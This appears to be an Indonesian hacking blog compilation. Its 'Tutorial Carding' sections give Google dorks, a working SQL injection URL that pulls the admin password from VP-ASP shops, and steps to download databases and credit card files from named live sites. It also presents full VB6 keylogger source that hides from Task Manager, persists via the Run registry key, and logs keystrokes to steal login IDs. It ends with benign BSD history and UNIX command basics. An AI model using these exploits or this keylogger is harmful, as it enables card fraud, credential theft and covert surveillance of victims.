--------------------------------------
'`%%`%%`%%,`%%'`% Materi ke-12 : VP-ASP Shopping Cart 5.0 Cara II`%%`%%`%%,`%%'`% '!NB : SQL Injection vulnerability pada script 'shopdisplayproducts.asp'1. Cari target dahulu Website VP-ASP di google.com, dengan keyword allinurl:/vpasp/shopdisplayproducts.asp1. Cari target dahulu Website VP-ASP di google.com, dengan keyword allinurl:/vpasp/shopdisplayproducts.asp2. Buka url target dan tambahkan string berikut di akhir bagian shopdisplayproducts.asphttp://.../vpasp/shopdisplayproducts.asp?cat=qwerty'%20union%20select%20fldauto,fldpassword%20from%20tbluser%20where%20fldusername='admin'%20and%20fldpassword%20like%20'a%25'--3. Ganti²lah nilai dari string url terakhir dg:%20'a%25'--%20'b%25'--%20'c%25'--dst...4. Naah.. kalau berhasil, kita akan mendapatkan informasi username dan password admin!5. Untuk login admin ke http://.../vpasp/shopadmin.asp6. Demikanlah, Materi ke-4 Selesai.
Tutorial Carding (Bagian IV)
Tutorial Carding (Bagian III)
1. Cari target dahulu Website PDshopro di google.com, dengan keyword allinurl:/shop/category.asp/catid=2. Kita lihat dulu konfirgurasi databasenya dg mengganti urlnya menjadi : www.contoh.com/admin/dbsetup.asp3. Contoh target : http://www.marktwainbooks.com/admin/dbsetup.asp4. Kita akan mendapatkan output kira² dg keterangan sbb:5. Nah, dari keterangan diatas , kita dapati file databasenya dgn nama sdatapdshoppro.mdb6. Sekarang, untuk mendownload file sdatapdshoppro.mdb dapat dilakukan dg merubah urlnya menjadi:7. http://www.marktwainbooks.com/data/pdshoppro.mdb8. Untuk membuka file .mdb-nya dengan menggunakan program Microsoft Access
Read More......Tutorial Carding (Bagian II)
--------------------------------------
1. Sama seperti diatas, Cari target dahulu di google.com dgn keyword allinurl:/cart32.exe/2. Misalkan kita mendapat target dg url:
http://www.contoh.com/scripts/cart32.exe/blablabla , maka:
3. Ganti url tsb menjadi -> http://www.contoh.com/scripts/4. Modifikasi url tsb dg memasukkan unicode dibelakangnya -> http://www.contoh.com/scripts/
Tutorial Carding (Bagian I)
--------------------------------------
1. Cari target dahulu Website Cart32 min v3.5a di google.com, dengan keyword allinurl:/cart32.exe/2. Ambil salah satu site hasil pencarian, misalnya :
http://www.wideopen.net/wrburns_s/cgi-bin/cart32.exe/NoItemFound
3. Ganti url tsb diakhir stringnya menjadi http://www.wideopen.net/wrburns_s/cgi-bin/cart32.exe/error <-- setelah string /cart32.exe/ ditambah kata error4. Bila kita mendapati page error dg keterangan instalasi dibawahnya, berarti kita sukses!5. Sekarang, kita menuju pada keterangan di bawahnya, geser halaman kebawah, dan cari bagian Page Setup and Directory 6. Kalau dibagian tersebut terdapat list file dgn format/akhiran .c32 berarti di site tsb. terdapat file berisi data cc's!7. Copy salah satu file .c32 yg ada atau semuanya ke notepad atau program text editor lainnya....8. Ganti string url tsb. menjadi seperti ini : http://www.wideopen.net/wrburns_s/cgi-bin/cart32/ <-- dimana string .exe dihapus/dihilangkan!9. Nah.., paste satu per satu, file .c32 ke akhir url yg sudah dimodifikasi tadi, dengan format http://www.contoh.com/cart32/
TEKNIK BARU ISI ULANG PULSA XL TANPA DOMPET PULSA
Rekan phreaker, kali ini saya akan mengajarkan sebuah teknik isi ulang pulsa di mana kita bisa menambah pulsa XL kita tanpa harus datang ke konter hp atan bahkan tanpa harus ikut dompet pulsa. Cara ini sedikit ilegal karena saat ditanyakan pada CS XL tidak ada cara yang dilakukan,tapi biarlah toh cara ini tidak merugikan pihak Xl,meski memberikan kemudahan pada kita pengguna XL :)YANG DIPERLUKAN:1.Kartu XL bebas atau Jempol yang akan diisi pulsa2.Kartu XL bebas atau jempol yang akan mengisi pulsa (bisa juga nanti adalah milik teman).LANGKAHNYA:1.setelah siap dua buah kartu XL (meski jaraknya berjauhan) pada hal ini saya sarankan anda/teman yang akan mengunakan XL bebas dengan Voucher XTRA sehingga anda bisa melakukan penghematan dan pulsa yang masuk utuh.2.Suruhlah teman anda mengirim sms dengan mengetik BAGI
viva gratisan,jiddigaul
Keylogger
Mungkin kita semua sudah sering mendengar tentang KeyLogger. Yeah.. KeyLogger adalah software yg mencatat gerak-gerik, atau aktifitas tombol yg kita tekan pada keyboard di sebuah Komputer. KeyLogger kemudian mencatat semua informasi pada sebuah catatan(LOG). Hmm.. dengan keylogger ini kita bisa mengetahui aktivitas user. Misalnya aja user habis buka E-mail, kamu bakalan tau ID-nya si User :D
Okay... berikut ini source code KeyLogger yang bisa kamu compile pake VB6. Kita hanya butuh sebuah timer dan module.
Yang perlu diperhatikan :
1. setelah REGSVC32.exe dieksekusi, keylogger tsg akan lg menulis di registry agar program tsb dieksekusi pd waktu booting:
(hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).
2. Aktifitas keylogger ini tidak dapat dilihat melalui task manager (Ctrl+Alt+Del)
3. kamu tidak dapat menghapus file REGSVC32.exe (this file is being used by windows)
4. kamu tidak dapat menghentikan booting REGSVC32.exe melalui regedit ato msconfig
5. Untuk melihat hasil rekaman KeyLogger ini kamu bisa buka file REGSVC32.DLL dengan Notepad
6. selama Keylogger ini aktif kamu tidak bisa melakukan Logoff user ... :(
======= code mulai ==========================
'simpan file hasil compile dg nama regsvc32.exe
'form
'simpan dg nama FRMLOG.frm
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private sAppName As String
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
Private Const VK_BACK = &H8
Private Const VK_CONTROL = &H11
Private Const VK_SHIFT = &H10
Private Const VK_TAB = &H9
Private Const VK_RETURN = &HD
Private Const VK_MENU = &H12
Private Const VK_ESCAPE = &H1B
Private Const VK_CAPITAL = &H14
Private Const VK_SPACE = &H20
Private Const VK_SNAPSHOT = &H2C
Private Const VK_UP = &H26
Private Const VK_DOWN = &H28
Private Const VK_LEFT = &H25
Private Const VK_RIGHT = &H27
Private Const VK_MBUTTON = &H4
Private Const VK_RBUTTON = &H2
Private Const VK_LBUTTON = &H1
Private Const VK_PERIOD = &HBE
Private Const VK_COMMA = &HBC
Private Const VK_NUMLOCK = &H90
Private Const VK_NUMPAD0 = &H60
Private Const VK_NUMPAD1 = &H61
Private Const VK_NUMPAD2 = &H62
Private Const VK_NUMPAD3 = &H63
Private Const VK_NUMPAD4 = &H64
Private Const VK_NUMPAD5 = &H65
Private Const VK_NUMPAD6 = &H66
Private Const VK_NUMPAD7 = &H67
Private Const VK_NUMPAD8 = &H68
Private Const VK_NUMPAD9 = &H69
Private Const VK_F9 = &H78
Private Const VK_F8 = &H77
Private Const VK_F7 = &H76
Private Const VK_F6 = &H75
Private Const VK_F5 = &H74
Private Const VK_F4 = &H73
Private Const VK_F3 = &H72
Private Const VK_F2 = &H71
Private Const VK_F12 = &H7B
Private Const VK_F11 = &H7A
Private Const VK_F10 = &H79
Private Const VK_F1 = &H70
Private Sub LoadTextFile()
On Error GoTo dlgerror
If Len(App.Path) <= 3 Then
Open App.Path & "settings.ini" For Input As #1
Line Input #1, sAppName
Close
Else
Open App.Path & "\settings.ini" For Input As #1
Line Input #1, sAppName
Close
End If
If sAppName = vbNullString Then
sAppName = "regsvc32"
End If
Exit Sub
dlgerror:
sAppName = "regsvc32"
End Sub
Private Sub SAVEDLL()
Dim nSaveLocation As String
On Error GoTo dlgerror
If Len(App.Path) <= 3 Then
Open App.Path & sAppName & ".dll" For Append As #1
nSaveLocation = App.Path & sAppName & ".dll"
GoTo READY
Else
Open App.Path & "\" & sAppName & ".dll" For Append As #1
nSaveLocation = App.Path & "\" & sAppName & ".dll"
GoTo READY
End If
READY:
If txtLOGGED.Text = vbNullString Then
Exit Sub
End If
Print #1, Time & " " & Date & vbCrLf & "Size: " & Format(FileLen(nSaveLocation) / 1000000, ".0") & " MB" & vbCrLf & "*** PROGRAMS OPENED ***" & vbCrLf & vbCrLf & txtENUMERATE.Text & vbCrLf & vbCrLf & txtLOGGED.Text & vbCrLf & vbCrLf
Close
Close
Close
SetAttr nSaveLocation, vbHidden
Exit Sub
dlgerror:
Err.Clear
Exit Sub
End Sub
Private Sub Form_Load()
On Error Resume Next
Call LoadTextFile
Me.Caption = sAppName
Me.Visible = False
App.TaskVisible = False
App.Title = sAppName
ENTERREGISTRY
RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
End Sub
Private Sub ENTERREGISTRY()
Dim nKey As Long
RegCreateKey LOCALMACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", nKey
If Len(App.Path) <= 3 Then
RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & App.EXEName & ".exe", Len(App.Path & App.EXEName & ".exe")
Else
RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & "\" & App.EXEName & ".exe", Len(App.Path & "\" & App.EXEName & ".exe")
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
Call SAVEDLL
ENTERREGISTRY
Unload Me
End
End Sub
Private Sub tmrCAPTION_Timer()
On Error Resume Next
Me.Caption = sAppName
Me.Visible = False
App.TaskVisible = False
App.Title = False
RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
End Sub
Private Sub tmrLOG_Timer()
On Error Resume Next
Dim nKey, nChar As Integer
Dim nText As String
For nChar = 1 To 255
nKey = GetAsyncKeyState(nChar)
If nKey = -32767 Then
nText = Chr(nChar)
If nChar = VK_BACK Then
nText = " {B.S} "
ElseIf nChar = VK_CONTROL Then
nText = " {CTRL} "
ElseIf nChar = VK_SHIFT Then
nText = " {SHIFT} "
ElseIf nChar = VK_TAB Then
nText = " {TAB} "
ElseIf nChar = VK_RETURN Then
nText = " {ENTER} "
ElseIf nChar = VK_MENU Then
nText = " {ALT} "
ElseIf nChar = VK_ESCAPE Then
nText = " {ESC} "
ElseIf nChar = VK_CAPITAL Then
nText = " {CAPS} "
ElseIf nChar = VK_SPACE Then
nText = " {SP.B} "
ElseIf nChar = VK_UP Then
nText = " {UP} "
ElseIf nChar = VK_LEFT Then
nText = " {LEFT} "
ElseIf nChar = VK_RIGHT Then
nText = " {RIGHT} "
ElseIf nChar = VK_DOWN Then
nText = " {DOWN} "
ElseIf nChar = VK_F1 Then
nText = " {F1} "
ElseIf nChar = VK_F2 Then
nText = " {F2} "
ElseIf nChar = VK_F3 Then
nText = " {F3} "
ElseIf nChar = VK_F4 Then
nText = " {F4} "
ElseIf nChar = VK_F5 Then
nText = " {F5} "
ElseIf nChar = VK_F6 Then
nText = " {F6} "
ElseIf nChar = VK_F7 Then
nText = " {F7} "
ElseIf nChar = VK_F8 Then
nText = " {F8} "
ElseIf nChar = VK_F9 Then
nText = "{F9}"
ElseIf nChar = VK_F10 Then
nText = " {F10} "
ElseIf nChar = VK_F11 Then
nText = " {F11} "
ElseIf nChar = VK_F12 Then
nText = " {F12} "
ElseIf nChar = VK_SNAPSHOT Then
nText = " {PRINT SCRN} "
ElseIf nChar = VK_RBUTTON Then
nText = " {R.B} "
ElseIf nChar = VK_LBUTTON Then
nText = " {L.B} "
ElseIf nChar = VK_MBUTTON Then
nText = " {M.B} "
ElseIf nChar = VK_PERIOD Then
nText = "."
ElseIf nChar = VK_COMMA Then
nText = ","
ElseIf nChar = VK_NUMLOCK Then
nText = " {NUMLCK} "
ElseIf nChar = VK_NUMPAD0 Then
nText = "0"
ElseIf nChar = VK_NUMPAD1 Then
nText = "1"
ElseIf nChar = VK_NUMPAD2 Then
nText = "2"
ElseIf nChar = VK_NUMPAD3 Then
nText = "3"
ElseIf nChar = VK_NUMPAD4 Then
nText = "4"
ElseIf nChar = VK_NUMPAD5 Then
nText = "5"
ElseIf nChar = VK_NUMPAD6 Then
nText = "6"
ElseIf nChar = VK_NUMPAD7 Then
nText = "7"
ElseIf nChar = VK_NUMPAD8 Then
nText = "8"
ElseIf nChar = VK_NUMPAD9 Then
nText = "9"
End If
txtLOGGED.Text = txtLOGGED.Text + nText
End If
Next
Call GetActiveWindowName
End Sub
Private Sub tmrSAVE_Timer()
Call SAVEDLL
txtLOGGED.Text = vbNullString
txtENUMERATE.Text = vbNullString
End Sub
====code end ===========
============code mulai ============
'module visual basic
'simpan dg nama mdlActiveWindow.bas
Option Explicit
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public nCAPTION As String
Public nTESTER As Long
Public nClass As String
Public Sub GetActiveWindowName()
nCAPTION = Space(256)
nClass = Space(256)
GetWindowText GetForegroundWindow, nCAPTION, Len(nCAPTION)
GetClassName GetForegroundWindow, nClass, Len(nClass)
If nTESTER = GetForegroundWindow Then Exit Sub
FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbCrLf & Time & " " & nCAPTION
FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbTab & nClass
nTESTER = GetForegroundWindow
End Sub
Mengenal Keluarga BSD
Selama pertengahan tahun 70an, Ken Thompson memperkenalkan UNIX ke University of California di Berkeley. Pada tahun 1978, mahasiswa Berkeley memulai membuat custom UNIX release, dan pada tahun 1980, Berkeley menangani kontrak kerjasama dengan DOD (Departemen of Defense) untuk masalah penggunaan TCP/IP pada BSD, dan menghasilkan standar operating system untuk komputer-komputer di Departemen tersebut. Dengan release 4.3BSD dan Berkeley Networking Release 2 tapes (yang dikenal sebagai Net/2), Berkeley menciptakan operating system yang hampir menyamai AT&T code.Banyak orang berpendapat salah mengenai BSD. Pada kenyataannya, sejarah mengenai BSD kembali pada tahun 1982, dimana Bill Jolitz pertama kali mengumumkan mengenai keinginannya untuk membuat versi “FREE” dari Berkeley Software Distribution untuk mesin 386.
:: Berkeley Software DistributionBerkeley Software Distribution asli dimulai sebagai bagian dari modifikasi AT&T Unix Software, sebelum berkembang menjadi proyek yang independen. Sayangnya, AT&T masih memegang lisensi untuk UNIX, bertentangan dengan Berkeley Software Design Inc. (BSDI) yang mengklaim bahwa Berkeley Software Distribution juga termasuk source code AT&T. Kasus ini sempat dibawah ke pengadilan, dan hasilnya Bill Jolitz berwenang untuk mengambil bagian dari software yang bukan AT&T dan mengembalikannya menjadi free UNIX. Ini adalah awal lahirnya modern BSD.
:: FreeBSDPengembangan FreeBSD melibatkan banyak sekali pihak. Biasanya mereka adalah programmer individu berkemampuan tinggi yang dikenal sebagai commiters. Commiters dipilih oleh FreeBSD Core Team dan memiliki wewenang langsung untuk melakukan perubahan-perubahan pada system.
Sejarah kelahiran FreeBSD berawal pada tahun 1992 ketika Jordan K Hubbard, Rod Grimes, dan Nate Williams (mereka adalah orang-orang yang menangani proyek 386BSD) merilis sebuah paket yang dikenal sebagai “Unofficial 386BSD Patchkit”. Dari sanalah lahir mekanisme baru yang membentuk “386BSD 0.5”. Namun pada tahun 1993 Jolitz mencabut persetujuannya pada proyek patchkit tersebut. David Greenman lalu mengajukan suatu usulan sebuah operating system baru dengan basis patchkit tersebut, dan lahirlah “FreeBSD”.
Jordan K Hubbard dan David Greenman (Walnut Creek) akhirnya membentuk suatu kerjasama. Mereka mempersiapkan sebuah proyek distribusi CDROM FreeBSD versi 1.0 yang dirilis pertamakali pada bulan Desember 1993. Kemudian pada bulan November 1994, versi kedua dirilis. Versi 2.0 ini tidak lagi berbasis Net/2, namun diupgrade menjadi 4.4BSD.
FreeBSD adalah sistem operasi yang free, open source dan tentu saja sangat tangguh dan robust. Dari daftar NETCRAFT, FreeBSD tercatat sebagai satu-satunya OS Free yang tercantum sebagai webserver dengan uptime terpanjang. FreeBSD dapat dijalankan di prosesor kompatibel dari keluarga intel x86, seperti halnya DEC Alpha, prosesor Sun UltraSPARC, IA64 dan AMD64.
:: NetBSD Ketika Jolitz dan yang lainnya berfokus pada 386BSD, ada kelompok lain yang bekerja pararel dengan melakukan porting 386BSD ke Macintosh. Pengembangan ini juga dilanjutkan pada base system Atari ST, Amiga, dan PC. Dan ketika FreeBSD masih terus berkonsentrasi pada mesin-mesin Intel, NetBSD menyediakan dukungannya untuk mesin-mesin dengan platform yang lain.Proyek NetBSD juga mengembangkan Mach-based virtual memory system, selain ada proyek lain yang cukup besar yaitu KAME. KAME bertujuan untuk memperkenalkan IPv6, IPSec untuk IPv4 dan IPv6 dan pengembangan implementasi TCP/IP pada dunia UNIX.
:: OpenBSDPada awal 1990, Theo de Raadt bertanggunjawab untuk melakukan porting NetBSD pada mesin-mesin SPARC. Namun karena terjadi ketidakcocokan antara Theo dan NetBSD core team untuk masalah pengembangan NetBSD, membuat Theo hengkang dengan mendirikan proyek baru bernama OpenBSD.OpenBSD lebih memfokuskan pada tujuan memproduksi sebuah operating system yang secure. Pada awal 1996, OpenBSD team membuat analisa baris-per-baris untuk setiap source code yang disertakan untuk menghindari adanya potensi bugs dan security hole. Dengan tujuan menemukan bugs sebelum orang lain menemukannya, membuat OpenBSD semakin matang dengan konsep “secure by default”-nya.OpenBSD juga mengembangkan porting ke banyak mesin, hal ini sepertinya terinfluence dengan pengembangan NetBSD mengingat OpenBSD juga lahir dari NetBSD, telah banyak mesin-mesin Motorola 86k, VAX, dan Intel yang berhasil diinstall OpenBSD sebagai operating systemnya.
:: Referensi* Bsdee.. Bsdee.. Bsdee.. - Jim Geovedi - CoreBSD Team Indonesia
* Jennifer Myers, "UNIX Reference Desk"* Wes Peters, "The Daemon's Advocate"* James Howard, "The BSD Family Tree"* BSDSearch, "BSD Advocacy"* Google!!@#$$
Berkenalan Dengan Perintah UNIX
Hmm.. saatnya bermigrasi... ;) Well, kali ini kita akan belajar mengenal perintah-perintah dasar UNIX. Adapun hal-hal yang perlu anda perhatikan sebelum memulai ialah:
-----------------------------------------------------------------------------------------------
- Linux/UNIX membedakan huruf besar dan huruf kecil (case sensitive).
- Semua perintah UNIX ditulis dengan huruf kecil.
- Jika nantinya anda membutuhkan penjelasan lebih lanjut dari suatu perintah, pergunakan "rumus sakti" berikut, ketik pada konsol anda:
$ man perintah
Misalnya:
$ man cd
man dapat diartikan sebagai manual. Perintah diatas berarti akan menampilkan manual untuk perintah cd. Untuk selanjutnya, anda bisa melakukan hal yang sama pada perintah-perintah lain.
-----------------------------------------------------------------------------------------------
--------ls--------
Perintah ini dipergunakan untuk menampilkan daftar file yang berada di dalam directory.
$ ls --help
Perintah diatas akan menampilkan bantuan untuk perintah ls$ ls -l
Untuk menampilkan informasi tambahan (l = long)$ ls -a
Perintah tersebut akan menampilkan hidden file. a disini mewakili kata atrribute$ ls -laInformasi tambahan yang ditampilkan oleh flag -l menyangkut user yang memiliki 'owns', file tanggal dan jam file itu dibuat, hak/permissions file, serta informasi-informasi lain. Contohnya :rwxr-x--xCatatan :karakter 1-3: user/owner permissionskarakter 4-6: group permissionskarakter 7-8: other permissionsPenjelasan dari masing-masing karakter tersebut ialah: r - read, permissions utk 'baca'w - write, permission utk 'tulis' x - (e)xecute, permission utk 'menjalankan'Jadi, arti contoh diatas ialah:
user/owner dapat melakukan (hak) read/baca, write/tulis dan execute/jalankan file yang satu group dengan user/owner dapat read/baca, execute/jalankan file user lain dapat execute/menjalankan file tersebut.
Hal ini berarti permission tidak ada, jika ada d sebelum permission berarti itu adalah directory.
--------------cat
--------------Perintah cat atau concatenate dipakai untuk menampilkan dan menulis/membuat file. $ cat spyrozone.txt
- Menampilkan isi file spyrozone.txt$ cat "Hello" > spyrozone.txt
Membuat file dengan nama spyrozone.txt yang berisi teks Hello. Untuk menambahkan isi file, ketik:
$ cat "Hello SPYRO" >> spyrozone.txt
Anda tinggal mengubah tanda > menjadi >>
$ cat -n tutorial.txtPerintah diatas akan menampilkan isi tutorial.txt disertai dengan nomor baris. Berguna bila anda ingin melihat ini source code suatu program, misalnya C/C++
Anda bisa menggabungkan isi beberapa file menjadi satu file. Misalnya anda beberapa memiliki file dengan nama spyro1.txt & spyro2.txt. Anda ingin mengabungkan seluruh file tersebut pada sebuah file bernama spyrozone.txt, maka perintah yang digunakan ialah:
$ cat spyro1.txt spyro2.txt > spyrozone.txt
--------------
more--------------Menampilkan isi dari file secara perlayar.$ more tutor.txt
Anda akan melihat deretan angka 1 sampai 23 dan di baris terbawah tertera angka tulisan "--More--(20%)". Untuk bernavigasi saat melihat tampilannya, gunakan dua tombol berikut ini.
» Spasi untuk maju satu layar penuh. Arti dari satu layar penuh adalah jumlah baris yang dimunculkan di layar console Anda. Biasanya, console Linux diatur pada resolusi 80 kolom dan 25 baris. Dengan demikian, penekanan spasi berarti menampilkan 23 atau 24 baris berikutnya.
» Tombol "b" untuk mundur satu layar penuh. Penjelasan mengenai arti satu layar penuh sama seperti di atas.
Apabila Anda terus menekan tombol spasi sampai akhir file, secara otomatis program more akan berhenti dan prompt akan kembali ke shell. Sama halnya jika Anda menekan tombol [Ctrl]+[C] sewaktu-waktu. Tombol [Ctrl]+[C] sendiri adalah kombinasi tombol universal di console Linux untuk mengakhiri suatu eksekusi program dan semata-mata bukan untuk more saja. Cara lain untuk mengakhiri program more adalah dengan menekan tombol "q".
--------------grep--------------Menampilkan semua baris yang mengandung pola yang diinginkan:
$ grep spyrozone tutor.txt
--------------echo--------------
Echo dipakai untuk menampilkan apa yang kita ketik di layar. Perintah ini sama seperti perintah ECHO di DOS.echo "The NEWBIE HACKERS spirit station!!"
The NEWBIE HACKERS spirit station!!
Anda juga bisa membuat file dengan perintah ini:echo "The NEWBIE HACKERS spirit station!!" > spyrokid.txt
Perintah diatas akan membuat file spyrokid.txt di directory aktif. File tersebut akan berisi teks "The NEWBIE HACKERS spirit station!!" (tanpa tanda petik). Untuk menambah isi file, ganti > dengan >>
Berikut adalah contoh menarik lain penggunaan echo :$ echo -e "\thehehe\b\b\b\b\b\bspyrozone\n " > spyro.txt
Lihatlah isi file spyro.txt dengan perintah cat, anda akan melihat tampilan isi file tersebut:
spyrozone
Lho, kemana yang lain?? kenapa yang ada hanya spyrozone?? Berikut penjelasannya:
» \t pada echo menunjukkan pemakaian tabulasi. Pada console Linux, tabulasi memberikan jarak sebesar 8 karakter. Tanpa option -A, cat menerjemahkan \t menjadi karakter tabulasi sehingga rangkaian karakter "spyrozone" diindentasi. Dengan -A, \t ditampilkan sebagai string ^I, yaitu control character untuk tabulasi.» \b pada echo berarti backspace alias menghapus satu karakter di sebelah kiri. Oleh karena \b diketik tiga kali, maka ini sama artinya dengan menghapus frase "hehehe" seperti yang terlihat dalam tampilan cat. Dengan option -A, karakter backspace ditampilkan sebagai ^H dan frase "hehehe" tetap terlihat. » \n pada echo berarti memberikan satu baris kosong. Sekalipun dengan option -A, tetap diberikan satu baris kosong di bawah tulisan "spyrozone". Hanya saja, sekarang ada 2 karakter $. Satu untuk menandakan akhir baris (end of line) pada baris kalimat "spyrozone" dan satunya lagi untuk menandai baris di bawahnya. Perhatikan adanya spasi kosong antara tanda tanya dan karakter $.
--------------cd--------------Mewakili kata change directory. Perintah ini dipakai untuk berpindah directory.
$ cd /root
***************************************************************** Di Linux yang digunakan adalah / (slash) bukan \ (backslash)
*****************************************************************
--------------cp--------------Perintah copy dipakai untuk mengcopy file.$ cp tutor.txt tutor.txt.bak$ cp tutor.txt ~spyro/backup-data/tutor.txt.backup--------------mv--------------Mewakili kata move. Perintah ini dipergunakan untuk mengganti nama file atau directory.$ mv tutor.txt tutor-backup.txt$ mv backup bak--------------rm--------------Perintah remove dipergunakan untuk menghapus file.
$ rm tutor.txt
Perintah diatas akan menghapus file tutor.txt
rm *
Perintah diatas akan menghapus SELURUH FILE yang berada di directory aktif.
--------------mkdir--------------Make directory, dipergunakan untuk membuat directory.$ mkdir kamarku--------------rmdir--------------Remove Directory, hapus directory. Perintah ini dibutuhkan untuk menghapus directory. Namun perlu anda ingat bahwa file-file yang berada di dalam directory harus dihapus terlebih dahulu sebelum anda menghapus suatu directory.$ rmdir backup
--------------
who--------------who digunakan untuk menampilkan user yang login ke system. Output perintahnya kira-kira seperti berikut :$ who root tty1 Nov 20 17:47spyrokid tty2 Nov 20 17:48spyrokid tty3 Nov 20 17:48spyrokid ttyp0 Nov 20 18:43 (localhost)Kolom pertama menunjukkan nama user yang login, kolom kedua menunjukkanterminal line yang digunakan, kolom ketiga menunjukkan waktu login dankolom keempat menunjukkan domain atau IP asal mereka koneksi, jika kosongberarti mereka main langsung dari console.--------------whoami--------------Lupa siapa anda??$ whoamispyrokid
Perintah lain:$ who am ispyrozone!spyrokid tty3 Nov 20 17:48--------------pwd
--------------Tampilkan directory aktif, pwd = print working directory, perintah yang dipakai kalo saat jalan2, sudah gak tau mo pulang lewat mana :)$ pwd/home/spyrokid --------------ps
--------------Menampilkan proses yang aktif$ psPID TTY STAT TIME COMMAND87 2 S 0:00 -bash88 3 S 0:00 -bash1440 2 S 0:00 pico jilid2.txt1443 3 R 0:00 ps--------------ping--------------Mengecek host apakah 'up' utk istilah teknisnya silakan 'man ping'$ ping localhostPING localhost (127.0.0.1): 56 data bytes64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.1 ms64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.1 ms64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.1 ms64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.1 ms--- localhost ping statistics ---5 packets transmitted, 5 packets received, 0% packet lossround-trip min/avg/max = 0.1/0.1/0.2 msspyrozone:~$ ping 127.0.0.1PING 127.0.0.1 (127.0.0.1): 56 data bytes64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.1 ms64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.1 ms64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.1 ms64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.1 ms--- 127.0.0.1 ping statistics ---5 packets transmitted, 5 packets received, 0% packet lossround-trip min/avg/max = 0.1/0.1/0.2 msspyrozone:~$Perhatikan bahwa localhost dan 127.0.0.1 adalah sama :)127.0.0.1 adalah local loopback yang disediakan untuk testing.--------------finger--------------Mencari informasi user$ fingerLogin Name Tty Idle Login Time Office Office Phonespyrokid Spyrokid 2 Nov 22 01:10spyrokid Spyrokid 3 Nov 22 01:10root 1 1:37 Nov 22 01:10$ finger @spyrozone.net[spyrozone.net] Welcome to Linux version 2.0.34 at spyrozone.net ! 3:46am up 2:37, 3 users, load average: 0.00, 0.00, 0.00 Login Name Tty Idle Login Time Office Office Phonespyrokid Spyrokid 2 Nov 22 01:10spyrokid Spyrokid 3 Nov 22 01:10root 1 1:39 Nov 22 01:10 spyrozone:~$ finger @localhost[localhost]Welcome to Linux version 2.0.34 at spyrozone.net !3:47am up 2:38, 3 users, load average: 0.00, 0.00, 0.00Login Name Tty Idle Login Time Office Office Phonespyrokid Spyrokid 2 Nov 22 01:10spyrokid Spyrokid 3 Nov 22 01:10root 1 1:40 Nov 22 01:10spyrozone:~$ finger spyrokidLogin: spyrokid Name: SpyrokidDirectory: /home/spyrokid Shell: /bin/bashOn since Tue Nov 22 01:10 (PHT) on tty2 8 seconds idleOn since Tue Nov 22 01:10 (PHT) on tty3Last login Tue Nov 22 01:13 (PHT) on tty4Mail forwarded to "IFS=' '&&exec /usr/bin/procmail -f-exit 75#spyrokid"No mail.No Plan.spyrozone:~$ finger rootLogin: root Name:Directory: /root Shell: /bin/bashOn since Tue Nov 22 01:10 (PHT) on tty1 1 hour 42 minutes idleMail last read Tue Nov 15 09:19 2004 (PHT)No Plan.--------------ftp--------------Menggunakan file tranfer program.spyrozone:~$ ftp localhostConnected to localhost.220 spyrozone.net FTP server (Version wu-2.4.2-academ[BETA-15](1) WedMay 20 13:45:04 CDT 2004) ready.Name (localhost:spyrokid): ftp331 Guest login ok, send your complete e-mail address as password.Password: spyrokid@spyrozone.net230-Welcome, archive user! ...
.............
...........................230 Guest login ok, access restrictions apply.Remote system type is UNIX.Using binary mode to transfer files.ftp>ftp juga bisa dilakukan dengan melakukan telnet ke port 21spyrozone:~$ telnet localhost 21Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.220 spyrozone.net FTP server (Version wu-2.4.2-academ[BETA-15](1) WedMay 20 13:45:04 CDT 2004) ready.--------------talk--------------Berbicara dengan user lain, misalnya spyrokid request melakukan talk ke root:talk rootatautalk root@spyrozone.net[Waiting for your party to respond][Ringing your party again]Di terminal root akan muncul pesan :Message from Talk_Daemon@spyrozone at 4:00 ...talk: connection requested by spyrokid@localhost.talk: respond with: talk spyrokid@localhostroot harus mengetik talk spyrokid@localhost jika ingin menjawab requesttalk spyrokid@localhost[Connection established]Tekan Ctrl+C untuk terminate connection.
--------------telnet
